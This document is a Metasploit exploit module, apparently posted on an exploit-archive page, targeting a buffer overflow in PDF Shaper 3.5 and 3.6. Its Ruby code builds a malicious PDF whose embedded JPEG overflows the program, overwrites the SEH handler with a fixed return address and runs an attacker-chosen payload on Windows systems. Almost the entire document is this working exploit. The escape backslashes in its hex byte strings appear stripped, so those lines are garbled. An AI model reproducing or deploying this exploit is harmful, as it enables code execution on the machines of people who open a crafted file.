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PDF Shaper Buffer Overflow

Posted on 01 December 2016

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::PDF
include Msf::Exploit::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'PDF Shaper Buffer Overflow',
'Description' => %q{
PDF Shaper is prone to a security vulnerability when processing PDF files.
The vulnerability appear when we use Convert PDF to Image and use a specially
crafted PDF file. This module has been tested successfully on Win Xp, Win 7,
Win 8, Win 10.
},
'License' => MSF_LICENSE,
'Author' =>
[
'metacom27[at]gmail.com - twitter.com/m3tac0m', # POC
'metacom' # MSF Module
],
'References' =>
[
['URL', 'https://www.exploit-db.com/exploits/37760/']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process', # none/process/thread/seh
},
'Platform' => 'win',
'Payload' =>
{
'Space' => 2000,
'DisableNops' => true
},
'Targets' =>
[
['<Win Xp, Win 7, Win 8, Win 10 / PDF Shaper v.3.5 and v.3.6>',
{
'Ret' => 0x00402AC1, # PDFTools.exe
'Offset' => 433
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Oct 03 2015',
'DefaultTarget' => 0
))

register_options(
[
OptString.new('FILENAME', [false, 'The file name.', 'msf.pdf'])
], self.class
)
end

def exploit
file_create(make_pdf)
end

def jpeg
buffer = "xFFxD8xFFxEEx00x0Ex41x64x6Fx62x65x00x64x80x00x00"
buffer << "x00x02xFFxDBx00x84x00x02x02x02x02x02x02x02x02x02"
buffer << "x02x03x02x02x02x03x04x03x03x03x03x04x05x04x04x04"
buffer << "x04x04x05x05x05x05x05x05x05x05x05x05x07x08x08x08"
buffer << "x07x05x09x0Ax0Ax0Ax0Ax09x0Cx0Cx0Cx0Cx0Cx0Cx0Cx0C"
buffer << "x0Cx0Cx0Cx0Cx0Cx0Cx0Cx01x03x02x02x03x03x03x07x05"
buffer << "x05x07x0Dx0Ax09x0Ax0Dx0Fx0Dx0Dx0Dx0Dx0Fx0Fx0Cx0C"
buffer << "x0Cx0Cx0Cx0Fx0Fx0Cx0Cx0Cx0Cx0Cx0Cx0Fx0Cx0Ex0Ex0E"
buffer << "x0Ex0Ex0Cx11x11x11x11x11x11x11x11x11x11x11x11x11"
buffer << "x11x11x11x11x11x11x11x11xFFxC0x00x14x08x00x32x00"
buffer << "xE6x04x01x11x00x02x11x01x03x11x01x04x11x00xFFxC4"
buffer << "x01xA2x00x00x00x07x01x01x01x01x01x00x00x00x00x00"
buffer << "x00x00x00x04x05x03x02x06x01x00x07x08x09x0Ax0Bx01"
buffer << "x54x02x02x03x01x01x01x01x01x00x00x00x00x00x00x00"
buffer << "x01x00x02x03x04x05x06x07"
buffer << rand_text(target['Offset']) # junk
buffer << generate_seh_record(target.ret)
buffer << payload.encoded
buffer << rand_text(2388 - payload.encoded.length)
buffer
end

def make_pdf
@pdf << header
add_object(1, "<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>")
add_object(2, "<</Type/Outlines>>")
add_object(3, "<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>")
add_object(4, "[/PDF/Text/ImageC]")
add_object(5, "<</Type/Page/Parent 3 0 R/Contents 6 0 R>>")
stream_1 = "stream" << eol
stream_1 << "0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q" << eol
stream_1 << "endstream" << eol
add_object(6, "<</Length 91>>#{stream_1}")
stream = "<<" << eol
stream << "/Width 230" << eol
stream << "/BitsPerComponent 8" << eol
stream << "/Name /X" << eol
stream << "/Height 50" << eol
stream << "/Intent /RelativeColorimetric" << eol
stream << "/Subtype /Image" << eol
stream << "/Filter /DCTDecode" << eol
stream << "/Length #{jpeg.length}" << eol
stream << "/ColorSpace /DeviceCMYK" << eol
stream << "/Type /XObject" << eol
stream << ">>"
stream << "stream" << eol
stream << jpeg << eol
stream << "endstream" << eol
add_object(7, stream)
finish_pdf
end
end

 

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